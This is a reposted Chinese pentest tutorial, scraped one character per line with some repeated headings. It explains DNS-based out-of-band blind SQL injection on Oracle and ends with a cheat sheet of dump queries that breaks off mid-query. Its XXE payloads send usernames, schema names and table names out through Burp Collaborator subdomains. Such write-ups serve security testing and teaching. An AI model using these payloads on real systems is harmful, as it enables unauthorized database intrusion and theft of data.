论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
IOT
[29002] 2021-06-10_Oracle中基于DNS的带外SQL盲注—转储数据
文档创建者:
s7ckTeam
浏览次数:
0
最后更新:
2025-01-19
IOT
0 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-58
6万
主题
-6万
回帖
-58
积分
管理员
积分
-58
发消息
2021-06-10_Oracle中基于DNS的带外SQL盲注—转储数据
O
r
a
c
l
e
中
基
于
D
N
S
的
带
外
S
Q
L
盲
注
—
转
储
数
据
O
t
s
安
全
2
0
2
1
-
0
6
-
1
0
▼
更
多
精
彩
推
荐
,
请
关
注
我
们
▼
几
天
前
,
在
对
网
站
进
行
渗
透
测
试
时
,
我
在
端
点
上
发
现
了
一
个
带
外
S
Q
L
注
入
漏
洞
。
在
这
种
类
型
的
注
入
中
,
我
们
只
能
通
过
D
N
S
或
H
T
T
P
请
求
(
如
果
允
许
)
使
用
带
外
技
术
转
储
数
据
。
通
过
带
外
技
术
转
储
数
据
并
非
易
事
,
尤
其
是
在
涉
及
O
r
a
c
l
e
数
据
库
时
,
因
为
I
n
t
e
r
n
e
t
上
没
有
很
多
备
忘
单
和
相
关
材
料
。
就
我
而
言
,
B
u
r
p
发
现
了
基
于
带
外
S
Q
L
i
的
D
N
S
,
这
意
味
着
我
只
能
使
用
后
端
O
r
a
c
l
e
数
据
库
发
出
的
D
N
S
查
询
来
转
储
数
据
。
那
是
它
的
样
子
:
B
u
r
p
扫
描
器
使
用
以
下
有
效
负
载
来
检
测
S
Q
L
i
在
开
始
之
前
,
有
必
要
验
证
识
别
出
的
S
Q
L
i
是
误
报
还
是
合
法
漏
洞
。
有
时
,
W
e
b
应
用
程
序
和
中
间
件
会
自
动
尝
试
解
析
参
数
中
发
送
的
链
接
,
这
会
向
我
们
的
协
作
者
生
成
D
N
S
请
求
,
而
B
u
r
p
可
能
会
将
其
与
S
Q
L
注
入
混
淆
。
所
以
为
了
确
认
,
尝
试
只
发
送
参
数
中
的
B
u
r
p
C
o
l
l
a
b
o
r
a
t
o
r
链
接
,
例
如
,
如
果
协
作
者
仍
然
收
到
D
N
S
请
求
,
则
这
意
味
着
它
是
误
报
。
消
除
怀
疑
的
另
一
件
事
是
,
在
我
们
的
有
效
载
荷
中
,
合
作
者
链
接
由
“
|
|
”
分
隔
这
意
味
着
后
端
O
r
a
c
l
e
d
b
将
链
接
连
接
在
一
起
,
然
后
发
出
一
个
意
味
着
合
法
S
Q
L
注
入
的
请
求
。
确
定
后
端
数
据
库
确
定
后
端
数
据
库
查
看
上
面
提
到
的
p
a
y
l
o
a
d
,
可
以
确
定
后
端
数
据
库
服
务
器
是
O
r
a
c
l
e
。
如
何
?
因
为
只
有
O
r
a
c
l
e
使
用
“
|
|
”
和
“
来
自
双
重
”
一
起
发
表
声
明
。
还
有
许
多
其
他
方
法
可
以
对
后
端
数
据
库
进
行
指
纹
识
别
(
即
使
该
网
站
不
易
受
到
S
Q
L
注
入
的
影
响
)
,
您
可
以
在
此
处
找
到
一
些
技
术
h
t
t
p
s
:
/
/
s
q
l
w
i
k
i
.
n
e
t
s
p
i
.
c
o
m
/
d
b
m
s
I
d
e
n
t
i
f
i
c
a
t
i
o
n
/
#
o
r
a
c
l
e
或
P
a
y
l
o
a
d
A
l
l
t
h
e
T
h
i
n
g
s
g
i
t
h
u
b
r
e
p
o
等
.
在
这
种
情
况
下
,
它
使
用
O
r
a
c
l
e
的
X
M
L
解
析
器
中
的
X
X
E
来
触
发
D
N
S
请
求
。
转
储
数
据
?
?
?
转
储
数
据
?
?
?
在
检
测
和
验
证
S
Q
L
注
入
之
后
,
下
一
步
是
尝
试
为
P
O
C
或
任
何
目
的
转
储
数
据
。
所
以
我
用
谷
歌
搜
索
并
找
到
了
一
些
有
用
的
备
忘
单
和
链
接
。
所
以
我
尝
试
修
改
有
效
负
载
以
通
过
B
u
r
p
C
o
l
l
a
b
o
r
a
t
o
r
提
取
数
据
库
版
本
。
我
加
了
一
个
点
'
.
'
在
合
作
者
链
接
之
前
并
使
用
“
|
|
”
将
它
与
我
的
查
询
连
接
起
来
。
查
询
:
从
v
$
v
e
r
s
i
o
n
中
选
择
横
幅
;
[
发
送
前
对
查
询
进
行
发
送
前
对
查
询
进
行
U
R
L
编
码
编
码
]
但
是
我
的
B
u
r
p
合
作
者
没
有
收
到
任
何
信
息
,
多
次
修
改
查
询
,
尝
试
其
他
查
询
但
什
么
也
没
得
到
。
所
以
我
决
定
首
先
在
O
r
a
c
l
e
数
据
库
的
实
时
版
本
(
h
t
t
p
s
:
/
/
l
i
v
e
s
q
l
.
o
r
a
c
l
e
.
c
o
m
/
)
上
尝
试
这
些
查
询
。
所
以
我
打
开
它
并
再
次
运
行
版
本
查
询
h
t
t
p
:
/
/
w
e
b
s
i
t
e
.
c
o
m
/
s
o
m
e
s
e
a
r
c
h
-
e
n
d
p
o
i
n
t
?
q
=
%
2
c
%
2
0
(
s
e
l
e
c
t
e
x
t
r
a
c
t
v
a
l
u
e
(
x
m
l
t
y
p
e
(
'
<
?
x
m
l
v
e
r
s
i
o
n
=
"
1
.
0
"
e
n
c
o
d
i
n
g
=
"
U
T
F
-
8
"
?
>
<
!
D
O
C
T
Y
P
E
r
o
o
t
[
<
!
E
N
T
I
T
Y
%
t
a
e
y
j
S
Y
S
T
E
M
"
h
t
t
p
:
/
/
a
d
f
d
l
o
n
g
r
a
n
d
o
m
b
u
r
p
c
o
l
l
a
b
s
t
r
i
n
g
j
f
l
f
.
b
u
r
p
c
o
l
l
a
b
'
|
|
'
o
r
a
t
o
r
.
n
e
t
/
"
>
%
t
a
e
y
j
;
]
>
'
)
,
'
/
l
'
)
f
r
o
m
d
u
a
l
)
s
e
a
r
c
h
?
q
=
h
t
t
p
:
/
/
l
o
n
g
r
a
n
d
o
m
b
u
r
p
s
t
r
i
n
g
.
b
u
r
p
c
o
l
l
a
b
o
r
a
t
o
r
.
n
e
t
h
t
t
p
s
:
/
/
p
o
r
t
s
w
i
g
g
e
r
.
n
e
t
/
w
e
b
-
s
e
c
u
r
i
t
y
/
s
q
l
-
i
n
j
e
c
t
i
o
n
/
c
h
e
a
t
-
s
h
e
e
t
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
s
w
i
s
s
k
y
r
e
p
o
/
P
a
y
l
o
a
d
s
A
l
l
T
h
e
T
h
i
n
g
s
/
b
l
o
b
/
m
a
s
t
e
r
/
S
Q
L
%
2
0
I
n
j
e
c
t
i
o
n
/
O
r
a
c
l
e
S
Q
L
%
2
0
I
n
j
e
c
t
i
o
n
.
m
d
h
t
t
p
:
/
/
p
e
n
t
e
s
t
m
o
n
k
e
y
。
n
e
t
/
c
h
e
a
t
-
s
h
e
e
t
/
s
q
l
-
i
n
j
e
c
t
i
o
n
/
o
r
a
c
l
e
-
s
q
l
-
i
n
j
e
c
t
i
o
n
-
c
h
e
a
t
-
s
h
e
e
t
h
t
t
p
s
:
/
/
z
e
n
o
d
o
.
o
r
g
/
r
e
c
o
r
d
/
3
5
5
6
3
4
7
/
f
i
l
e
s
/
A
%
2
0
S
t
u
d
y
%
2
0
o
f
%
2
0
O
u
t
-
o
f
-
B
a
n
d
%
2
0
S
Q
L
%
2
0
I
n
j
e
c
t
i
o
n
.
p
d
f
?
下
载
=
1
h
t
t
p
:
/
/
w
e
b
s
i
t
e
.
c
o
m
/
s
o
m
e
s
e
a
r
c
h
-
e
n
d
p
o
i
n
t
?
q
=
%
2
c
%
2
0
(
s
e
l
e
c
t
e
x
t
r
a
c
t
v
a
l
u
e
(
x
m
l
t
y
p
e
(
'
<
?
x
m
l
v
e
r
s
i
o
n
=
"
1
.
0
"
e
n
c
o
d
i
n
g
=
"
U
T
F
-
8
"
?
>
<
!
D
O
C
T
Y
P
E
r
o
o
t
[
<
!
E
N
T
I
T
Y
%
t
a
e
y
j
S
Y
S
T
E
M
"
h
t
t
p
:
/
/
'
|
|
(
s
e
l
e
c
t
b
a
n
n
e
r
f
r
o
m
v
$
v
e
r
s
i
o
n
)
|
|
'
.
a
d
f
d
l
o
n
g
r
a
n
d
o
m
b
u
r
p
c
o
l
l
a
b
s
t
r
i
n
g
j
f
l
f
.
b
u
r
p
c
o
l
l
a
b
'
|
|
'
o
r
a
t
o
r
.
n
e
t
/
"
>
%
t
a
e
y
j
;
]
>
'
)
,
'
/
l
'
)
f
r
o
m
d
u
a
l
)
查
看
输
出
后
,
我
意
识
到
我
的
愚
蠢
错
误
,
即
数
据
库
版
本
包
含
空
格
,
并
且
D
N
S
名
称
中
禁
止
使
用
空
格
。
在
利
用
基
于
带
外
在
利
用
基
于
带
外
S
Q
L
注
入
的
注
入
的
D
N
S
时
要
记
住
的
事
情
时
要
记
住
的
事
情
您
正
在
通
过
D
N
S
查
询
转
储
数
据
,
并
且
域
名
中
不
允
许
使
用
空
格
/
换
行
符
/
特
殊
字
符
。
域
名
和
子
域
名
只
能
由
字
母
、
数
字
和
连
字
符
“
-
”
组
成
。
使
用
诸
如
R
E
P
L
A
C
E
(
)
之
类
的
函
数
来
过
滤
输
出
。
(
有
时
多
个
点
'
.
'
也
被
禁
用
,
所
以
一
定
要
替
换
它
们
)
。
您
还
可
以
使
用
H
E
X
和
B
a
s
e
6
4
编
码
过
滤
器
,
如
U
T
L
_
R
A
W
.
C
A
S
T
_
T
O
_
V
A
R
C
H
A
R
2
(
)
、
u
t
l
_
e
n
c
o
d
e
.
b
a
s
e
6
4
_
e
n
c
o
d
e
(
)
、
u
t
l
_
r
a
w
.
c
a
s
t
_
t
o
_
r
a
w
(
)
。
(
参
考
h
t
t
p
s
:
/
/
d
b
a
.
s
t
a
c
k
e
x
c
h
a
n
g
e
.
c
o
m
/
q
u
e
s
t
i
o
n
s
/
1
2
8
9
0
5
/
w
h
a
t
-
i
s
-
a
-
b
a
s
e
6
4
-
r
a
w
-
h
o
w
-
d
o
-
i
-
u
s
e
-
i
t
)
一
个
完
整
的
域
名
可
以
有
2
5
3
个
字
符
,
每
个
标
签
的
最
大
长
度
为
6
3
个
字
符
。
这
意
味
着
子
域
名
中
只
允
许
使
用
6
3
个
字
符
,
但
建
议
一
次
最
多
使
用
3
0
-
4
0
个
字
符
来
转
储
数
据
。
使
用
S
U
B
S
T
R
(
)
来
限
制
输
出
。
很
可
能
您
每
次
向
服
务
器
发
送
请
求
时
都
必
须
生
成
新
的
B
u
r
p
C
o
l
l
a
b
o
r
a
t
o
r
链
接
。
为
什
么
?
因
为
服
务
器
可
能
会
缓
存
域
名
,
所
以
它
们
不
会
每
次
都
针
对
同
一
个
域
名
发
出
D
N
S
请
求
。
后
端
代
码
可
能
会
清
理
查
询
中
的
某
些
字
符
,
因
此
请
确
保
先
尝
试
简
单
查
询
,
然
后
再
进
行
复
杂
查
询
。
在
利
用
这
个
S
Q
L
i
时
,
我
从
来
没
有
让
这
个
查
询
工
作
“
从
v
$
v
e
r
s
i
o
n
选
择
横
幅
”
,
或
者
任
何
包
含
美
元
符
号
“
$
”
的
查
询
。
尝
试
了
不
同
的
编
码
,
但
没
有
一
个
有
效
,
原
因
?
他
们
可
能
正
在
清
理
或
编
码
一
些
特
殊
字
符
!
!
可
能
是
其
他
原
因
,
不
知
道
。
转
储
数
据
转
储
数
据
然
后
我
稍
微
修
改
了
我
的
有
效
负
载
以
检
索
当
前
用
户
并
再
次
发
送
它
。
有
效
载
荷
:
在
b
u
r
p
c
o
l
l
a
b
o
r
a
t
o
r
中
获
得
了
数
据
库
“
S
Y
S
”
中
的
第
一
个
用
户
名
。
查
询
是
或
者
更
简
单
地
说
为
了
提
取
数
据
库
中
的
第
二
个
用
户
,
我
使
用
了
“
w
h
e
r
e
r
o
w
n
u
m
=
2
”
,
但
这
不
起
作
用
,
而
且
我
在
B
u
r
p
C
o
l
l
a
b
o
r
a
t
o
r
中
没
有
收
到
任
何
信
息
。
为
什
么
?
答
案
在
这
里
h
t
t
p
s
:
/
/
s
t
a
c
k
o
v
e
r
f
l
o
w
.
c
o
m
/
q
u
e
s
t
i
o
n
s
/
9
6
7
9
0
5
1
/
w
h
y
-
o
p
e
r
a
t
o
r
-
d
o
e
s
n
t
-
w
o
r
k
-
w
i
t
h
-
r
o
w
n
u
m
-
o
t
h
e
r
-
t
h
a
n
-
f
o
r
-
v
a
l
u
e
-
1
/
9
6
7
9
0
9
9
。
简
而
言
之
,
要
检
索
o
r
a
c
l
e
数
据
库
中
的
第
二
行
,
您
不
能
使
用
“
r
o
w
n
u
m
=
2
”
。
相
反
,
您
必
须
使
用
类
似
通
过
使
用
这
个
查
询
,
我
收
到
了
数
据
库
中
的
第
二
个
用
户
名
(
s
e
l
e
c
t
e
x
t
r
a
c
t
v
a
l
u
e
(
x
m
l
t
y
p
e
(
'
<
?
x
m
l
v
e
r
s
i
o
n
=
"
1
.
0
"
e
n
c
o
d
i
n
g
=
"
U
T
F
-
8
"
?
>
<
!
D
O
C
T
Y
P
E
r
o
o
t
[
<
!
E
N
T
I
T
Y
%
c
g
g
n
v
S
Y
S
T
E
M
"
h
t
t
p
:
/
/
'
|
|
(
S
E
L
E
C
T
r
e
p
l
a
c
e
(
r
e
p
l
a
c
e
(
u
s
e
r
n
a
m
e
,
"
"
,
"
-
"
)
,
"
$
"
,
"
-
"
)
F
R
O
M
a
l
l
_
u
s
e
r
s
w
h
e
r
e
r
o
w
n
u
m
=
1
)
|
|
'
.
s
e
a
l
o
n
g
r
a
n
d
o
m
c
o
l
l
a
b
s
t
r
i
n
g
a
i
.
b
u
r
p
c
o
l
l
a
b
'
|
|
'
o
r
a
t
o
r
.
n
e
t
/
"
>
%
c
g
g
n
v
;
]
>
'
)
,
'
/
l
'
)
f
r
o
m
d
u
a
l
)
(
S
E
L
E
C
T
r
e
p
l
a
c
e
(
r
e
p
l
a
c
e
(
u
s
e
r
n
a
m
e
,
"
"
,
"
-
"
)
,
"
$
"
,
"
-
"
)
F
R
O
M
a
l
l
_
u
s
e
r
s
w
h
e
r
e
r
o
w
n
u
m
=
1
)
(
S
E
L
E
C
T
r
e
p
l
a
c
e
(
r
e
p
l
a
c
e
(
u
s
e
r
n
a
m
e
,
"
"
,
"
-
"
)
,
"
$
"
,
"
-
"
)
F
R
O
M
a
l
l
_
u
s
e
r
s
w
h
e
r
e
r
o
w
n
u
m
=
1
)
(
S
E
L
E
C
T
u
s
e
r
n
a
m
e
F
R
O
M
a
l
l
_
u
s
e
r
s
w
h
e
r
e
r
o
w
n
u
m
=
1
)
(
S
E
L
E
C
T
u
s
e
r
n
a
m
e
F
R
O
M
(
S
E
L
E
C
T
u
s
e
r
n
a
m
e
,
r
o
w
n
u
m
a
s
r
n
F
R
O
M
a
l
l
_
u
s
e
r
s
o
r
d
e
r
b
y
u
s
e
r
n
a
m
e
a
s
c
)
w
h
e
r
e
r
n
=
2
)
转
储
数
据
库
(
架
构
)
列
表
转
储
数
据
库
(
架
构
)
列
表
为
了
转
储
可
用
数
据
库
的
列
表
,
我
使
用
了
以
下
查
询
并
在
我
的
B
u
r
p
C
o
l
l
a
b
o
r
a
t
o
r
中
获
得
这
些
数
据
库
名
称
广
告
项
目
影
音
转
储
表
列
表
转
储
表
列
表
同
样
,
您
可
以
使
用
以
下
查
询
转
储
表
列
表
(
一
一
)
表
名
是
一
些
表
名
有
空
格
和
“
$
”
符
号
,
所
以
我
不
得
不
使
用
以
下
查
询
。
一
击
倾
倒
一
击
倾
倒
(
D
I
O
S
)
一
次
提
取
一
个
数
据
元
素
可
能
非
常
缓
慢
和
乏
味
,
尤
其
是
每
次
都
必
须
重
新
生
成
B
u
r
p
C
o
l
l
a
b
o
r
a
t
o
r
链
接
时
。
您
可
能
可
以
使
用
P
y
t
h
o
n
或
S
Q
L
m
a
p
自
动
执
行
这
些
操
作
,
但
我
在
本
文
中
已
手
动
完
成
。
在
基
于
D
N
S
的
O
O
B
注
入
中
,
您
一
次
只
能
提
取
一
个
数
据
元
素
。
因
此
,
如
果
我
们
找
到
一
种
方
法
将
多
行
转
换
为
一
个
字
符
串
,
并
通
过
D
N
S
请
求
提
取
该
字
符
串
,
这
将
使
我
们
的
任
务
更
容
易
。
根
据
不
同
的
数
据
库
版
本
,
O
r
a
c
l
e
提
供
了
一
些
函
数
,
如
l
i
s
t
a
g
g
(
)
、
s
t
r
a
g
g
(
)
和
w
l
_
c
o
n
c
a
t
(
)
可
以
实
现
这
一
点
,
但
它
们
因
版
本
而
异
。
我
尝
试
使
用
这
些
函
数
组
合
输
出
但
没
有
任
何
响
应
,
可
能
是
版
本
不
支
持
这
些
函
数
。
所
以
不
得
不
在
一
些
S
t
a
c
k
o
v
e
r
f
l
o
w
A
n
s
w
e
r
s
的
帮
助
下
手
动
完
成
。
其
中
一
个
答
案
提
供
了
一
个
查
询
,
无
需
使
用
l
i
s
t
a
g
g
(
)
等
函
数
即
可
将
行
转
换
为
列
。
稍
加
修
改
,
我
们
可
以
使
用
此
查
询
将
行
转
换
为
字
符
串
,
然
后
通
过
子
域
名
转
储
该
字
符
串
。
通
过
放
置
“
w
h
e
r
e
r
n
<
=
1
0
”
来
限
制
输
出
(
s
e
l
e
c
t
o
w
n
e
r
f
r
o
m
(
s
e
l
e
c
t
o
w
n
e
r
,
r
o
w
n
u
m
a
s
r
n
f
r
o
m
(
s
e
l
e
c
t
D
I
S
T
I
N
C
T
o
w
n
e
r
f
r
o
m
a
l
l
_
t
a
b
l
e
s
o
r
d
e
r
b
y
o
w
n
e
r
a
s
c
)
)
w
h
e
r
e
r
n
=
1
)
(
s
e
l
e
c
t
o
w
n
e
r
f
r
o
m
(
s
e
l
e
c
t
o
w
n
e
r
,
r
o
w
n
u
m
a
s
r
n
f
r
o
m
(
s
e
l
e
c
t
D
I
S
T
I
N
C
T
o
w
n
e
r
f
r
o
m
a
l
l
_
t
a
b
l
e
s
o
r
d
e
r
b
y
o
w
n
e
r
a
s
c
)
)
w
h
e
r
e
r
n
=
2
)
(
s
e
l
e
c
t
t
a
b
l
e
_
n
a
m
e
f
r
o
m
(
s
e
l
e
c
t
t
a
b
l
e
_
n
a
m
e
,
r
o
w
n
u
m
a
s
r
n
f
r
o
m
a
l
l
_
t
a
b
l
e
s
o
r
d
e
r
b
y
t
a
b
l
e
_
n
a
m
e
a
s
c
)
r
n
w
h
e
r
e
r
n
=
1
)
D
U
A
L
U
S
E
R
_
P
R
I
V
I
L
E
G
E
_
M
A
P
.
.
.
等
等
(
s
e
l
e
c
t
r
e
p
l
a
c
e
(
r
e
p
l
a
c
e
(
(
t
a
b
l
e
_
n
a
m
e
)
,
'
'
,
'
-
'
)
,
'
$
'
,
'
-
'
)
f
r
o
m
(
s
e
l
e
c
t
t
a
b
l
e
_
n
a
m
e
,
r
o
w
n
u
m
a
s
r
n
f
r
o
m
a
l
l
_
t
a
b
l
e
s
o
r
d
e
r
b
y
t
a
b
l
e
_
n
a
m
e
a
s
c
)
r
n
w
h
e
r
e
r
n
=
1
)
s
e
l
e
c
t
l
t
r
i
m
(
s
y
s
_
c
o
n
n
e
c
t
_
b
y
_
p
a
t
h
(
u
s
e
r
n
a
m
e
,
'
-
'
)
,
'
-
'
)
a
s
s
t
F
R
O
M
(
S
E
L
E
C
T
u
s
e
r
n
a
m
e
,
R
O
W
_
N
U
M
B
E
R
(
)
O
V
E
R
(
O
R
D
E
R
B
Y
u
s
e
r
n
a
m
e
)
r
n
,
C
O
U
N
T
(
*
)
O
V
E
R
(
)
c
n
t
F
R
O
M
a
l
l
_
u
s
e
r
s
)
W
H
E
R
E
r
n
=
c
n
t
S
T
A
R
T
W
I
T
H
r
n
=
1
C
O
N
N
E
C
T
B
Y
r
n
=
P
R
I
O
R
r
n
+
1
;
s
e
l
e
c
t
l
t
r
i
m
(
s
y
s
_
c
o
n
n
e
c
t
_
b
y
_
p
a
t
h
(
u
s
e
r
n
a
m
e
,
'
-
'
)
,
'
-
'
)
a
s
s
t
F
R
O
M
(
S
E
L
E
C
T
u
s
e
r
n
a
m
e
,
R
O
W
_
N
U
M
B
E
R
(
)
O
V
E
R
(
O
R
D
E
R
B
Y
u
s
e
r
n
a
m
e
)
r
n
,
C
O
U
N
T
(
*
)
O
V
E
R
(
)
c
n
t
F
R
O
M
a
l
l
_
u
s
e
r
s
w
h
e
r
e
r
o
w
n
u
m
<
=
1
0
)
W
H
E
R
E
r
n
=
c
n
t
S
T
A
R
T
W
I
T
H
r
n
=
1
C
O
N
N
E
C
T
B
Y
r
n
=
P
R
I
O
R
r
n
+
1
;
输
出
包
含
坏
字
符
,
例
如
下
划
线
(
-
)
和
美
元
符
号
(
$
)
,
使
用
R
E
P
L
A
C
E
(
)
命
令
过
滤
它
们
,
并
将
输
出
限
制
为
4
0
个
字
符
您
现
在
可
以
通
过
D
N
S
查
询
转
储
此
数
据
。
通
过
通
过
B
a
s
e
6
4
编
码
编
码
您
还
可
以
对
数
据
进
行
H
E
X
/
B
a
s
e
6
4
编
码
,
这
样
坏
字
符
也
会
被
编
码
,
因
此
您
不
必
一
一
过
滤
它
们
。
您
确
实
需
要
过
滤
掉
等
号
,
但
“
=
”
您
可
以
在
B
u
r
p
解
码
器
中
解
码
此
数
据
。
备
忘
单
备
忘
单
转
储
第
一
个
用
户
的
简
单
查
询
转
储
用
户
名
,
更
改
“
r
n
=
1
”
以
转
储
其
他
用
户
转
储
数
据
库
列
表
转
储
表
列
表
操
作
系
统
转
储
用
户
名
:
(
2
是
偏
移
量
,
4
0
是
字
符
限
制
)
转
储
数
据
库
:
转
储
表
:
通
过
通
过
B
a
s
e
6
4
转
储
用
户
名
,
将
连
字
符
(
-
)
替
换
为
(
=
,
/
,
+
)
s
e
l
e
c
t
s
u
b
s
t
r
(
r
e
p
l
a
c
e
(
r
e
p
l
a
c
e
(
l
t
r
i
m
(
s
y
s
_
c
o
n
n
e
c
t
_
b
y
_
p
a
t
h
(
u
s
e
r
n
a
m
e
,
'
-
'
)
,
'
-
'
)
,
'
_
'
,
'
-
'
)
,
'
$
'
,
'
-
'
)
,
2
,
4
0
)
a
s
s
t
F
R
O
M
(
S
E
L
E
C
T
u
s
e
r
n
a
m
e
,
R
O
W
_
N
U
M
B
E
R
(
)
O
V
E
R
(
O
R
D
E
R
B
Y
u
s
e
r
n
a
m
e
)
r
n
,
C
O
U
N
T
(
*
)
O
V
E
R
(
)
c
n
t
F
R
O
M
a
l
l
_
u
s
e
r
s
w
h
e
r
e
r
o
w
n
u
m
<
=
4
0
)
W
H
E
R
E
r
n
=
c
n
t
S
T
A
R
T
W
I
T
H
r
n
=
1
C
O
N
N
E
C
T
B
Y
r
n
=
P
R
I
O
R
r
n
+
1
;
s
e
l
e
c
t
s
u
b
s
t
r
(
r
e
p
l
a
c
e
(
r
e
p
l
a
c
e
(
l
t
r
i
m
(
s
y
s
_
c
o
n
n
e
c
t
_
b
y
_
p
a
t
h
(
u
s
e
r
n
a
m
e
,
'
-
'
)
,
'
-
'
)
,
'
_
'
,
'
-
'
)
,
'
$
'
,
'
-
'
)
,
2
,
4
0
)
a
s
s
t
F
R
O
M
(
S
E
L
E
C
T
u
s
e
r
n
a
m
e
,
R
O
W
_
N
U
M
B
E
R
(
)
O
V
E
R
(
O
R
D
E
R
B
Y
u
s
e
r
n
a
m
e
)
r
n
,
C
O
U
N
T
(
*
)
O
V
E
R
(
)
c
n
t
F
R
O
M
a
l
l
_
u
s
e
r
s
w
h
e
r
e
r
o
w
n
u
m
<
=
4
0
)
W
H
E
R
E
r
n
=
c
n
t
S
T
A
R
T
W
I
T
H
r
n
=
1
C
O
N
N
E
C
T
B
Y
r
n
=
P
R
I
O
R
r
n
+
1
;
s
e
l
e
c
t
u
s
e
r
n
a
m
e
F
R
O
M
a
l
l
_
u
s
e
r
s
w
h
e
r
e
r
o
w
n
u
m
=
1
/
/
R
e
p
l
a
c
i
n
g
b
a
d
c
h
a
r
s
s
e
l
e
c
t
r
e
p
l
a
c
e
(
r
e
p
l
a
c
e
(
r
e
p
l
a
c
e
(
u
s
e
r
n
a
m
e
,
"
"
,
"
-
"
)
,
"
$
"
,
"
-
"
)
,
"
_
"
,
"
-
"
)
F
R
O
M
a
l
l
_
u
s
e
r
s
w
h
e
r
e
r
o
w
n
u
m
=
1
(
S
E
L
E
C
T
r
e
p
l
a
c
e
(
r
e
p
l
a
c
e
(
r
e
p
l
a
c
e
(
u
s
e
r
n
a
m
e
,
"
"
,
"
-
"
)
,
"
$
"
,
"
-
"
)
,
"
_
"
,
"
-
"
)
F
R
O
M
(
S
E
L
E
C
T
u
s
e
r
n
a
m
e
,
r
o
w
n
u
m
a
s
r
n
F
R
O
M
a
l
l
_
u
s
e
r
s
o
r
d
e
r
b
y
u
s
e
r
n
a
m
e
a
s
c
)
w
h
e
r
e
r
n
=
1
)
(
s
e
l
e
c
t
r
e
p
l
a
c
e
(
r
e
p
l
a
c
e
(
r
e
p
l
a
c
e
(
o
w
n
e
r
,
"
"
,
"
-
"
)
,
"
$
"
,
"
-
"
)
,
"
_
"
,
"
-
"
)
f
r
o
m
(
s
e
l
e
c
t
o
w
n
e
r
,
r
o
w
n
u
m
a
s
r
n
f
r
o
m
(
s
e
l
e
c
t
D
I
S
T
I
N
C
T
o
w
n
e
r
f
r
o
m
a
l
l
_
t
a
b
l
e
s
o
r
d
e
r
b
y
o
w
n
e
r
a
s
c
)
)
w
h
e
r
e
r
n
=
1
)
(
s
e
l
e
c
t
r
e
p
l
a
c
e
(
r
e
p
l
a
c
e
(
r
e
p
l
a
c
e
(
t
a
b
l
e
_
n
a
m
e
,
"
"
,
"
-
"
)
,
"
$
"
,
"
-
"
)
,
"
_
"
,
"
-
"
)
f
r
o
m
(
s
e
l
e
c
t
t
a
b
l
e
_
n
a
m
e
,
r
o
w
n
u
m
a
s
r
n
f
r
o
m
a
l
l
_
t
a
b
l
e
s
o
r
d
e
r
b
y
t
a
b
l
e
_
n
a
m
e
a
s
c
)
r
n
w
h
e
r
e
r
n
=
1
)
s
e
l
e
c
t
s
u
b
s
t
r
(
r
e
p
l
a
c
e
(
r
e
p
l
a
c
e
(
r
e
p
l
a
c
e
(
l
t
r
i
m
(
s
y
s
_
c
o
n
n
e
c
t
_
b
y
_
p
a
t
h
(
u
s
e
r
n
a
m
e
,
'
-
'
)
,
'
-
'
)
,
'
_
'
,
'
-
'
)
,
'
$
'
,
'
-
'
)
,
'
'
,
'
-
'
)
,
2
,
4
0
)
a
s
s
t
F
R
O
M
(
S
E
L
E
C
T
u
s
e
r
n
a
m
e
,
R
O
W
_
N
U
M
B
E
R
(
)
O
V
E
R
(
O
R
D
E
R
B
Y
u
s
e
r
n
a
m
e
)
r
n
,
C
O
U
N
T
(
*
)
O
V
E
R
(
)
c
n
t
F
R
O
M
a
l
l
_
u
s
e
r
s
w
h
e
r
e
r
o
w
n
u
m
<
=
4
0
)
W
H
E
R
E
r
n
=
c
n
t
S
T
A
R
T
W
I
T
H
r
n
=
1
C
O
N
N
E
C
T
B
Y
r
n
=
P
R
I
O
R
r
n
+
1
;
s
e
l
e
c
t
s
u
b
s
t
r
(
r
e
p
l
a
c
e
(
r
e
p
l
a
c
e
(
r
e
p
l
a
c
e
(
l
t
r
i
m
(
s
y
s
_
c
o
n
n
e
c
t
_
b
y
_
p
a
t
h
(
o
w
n
e
r
,
'
-
'
)
,
'
-
'
)
,
'
_
'
,
'
-
'
)
,
'
$
'
,
'
-
'
)
,
'
'
,
'
-
'
)
,
2
,
4
0
)
a
s
s
t
F
R
O
M
(
S
E
L
E
C
T
o
w
n
e
r
,
R
O
W
_
N
U
M
B
E
R
(
)
O
V
E
R
(
O
R
D
E
R
B
Y
o
w
n
e
r
)
r
n
,
C
O
U
N
T
(
*
)
O
V
E
R
(
)
c
n
t
F
R
O
M
a
l
l
_
t
a
b
l
e
s
w
h
e
r
e
r
o
w
n
u
m
<
=
4
0
)
W
H
E
R
E
r
n
=
c
n
t
S
T
A
R
T
W
I
T
H
r
n
=
1
C
O
N
N
E
C
T
B
Y
r
n
=
P
R
I
O
R
r
n
+
1
;
s
e
l
e
c
t
s
u
b
s
t
r
(
r
e
p
l
a
c
e
(
r
e
p
l
a
c
e
(
r
e
p
l
a
c
e
(
l
t
r
i
m
(
s
y
s
_
c
o
n
n
e
c
t
_
b
y
_
p
a
t
h
(
t
a
b
l
e
_
n
a
m
e
,
'
-
'
)
,
'
-
'
)
,
'
_
'
,
'
-
'
)
,
'
$
'
,
'
-
'
)
,
'
'
,
'
-
'
)
,
2
,
4
0
)
a
s
s
t
F
R
O
M
(
S
E
L
E
C
T
t
a
b
l
e
_
n
a
m
e
,
R
O
W
_
N
U
M
B
E
R
(
)
O
V
E
R
(
O
R
D
E
R
B
Y
t
a
b
l
e
_
n
a
m
e
)
r
n
,
C
O
U
N
T
(
*
)
O
V
E
R
(
)
c
n
t
F
R
O
M
a
l
l
_
t
a
b
l
e
s
w
h
e
r
e
r
o
w
n
u
m
<
=
4
0
)
W
H
E
R
E
r
n
=
c
n
t
S
T
A
R
T
W
I
T
H
r
n
=
1
C
O
N
N
E
C
T
B
Y
r
n
=
P
R
I
O
R
r
n
+
1
;
s
e
l
e
c
t
r
e
p
l
a
c
e
(
r
e
p
l
a
c
e
(
r
e
p
l
a
c
e
(
U
T
L
_
R
A
W
.
C
A
S
T
_
T
O
_
V
A
R
C
H
A
R
2
(
u
t
l
_
e
n
c
o
d
e
.
b
a
s
e
6
4
_
e
n
c
o
d
e
(
u
t
l
_
r
a
w
.
c
a
s
t
_
t
o
_
r
a
w
(
s
u
b
s
t
r
(
l
t
r
i
m
(
s
y
s
_
c
o
n
n
e
c
t
_
b
y
_
p
a
t
h
(
u
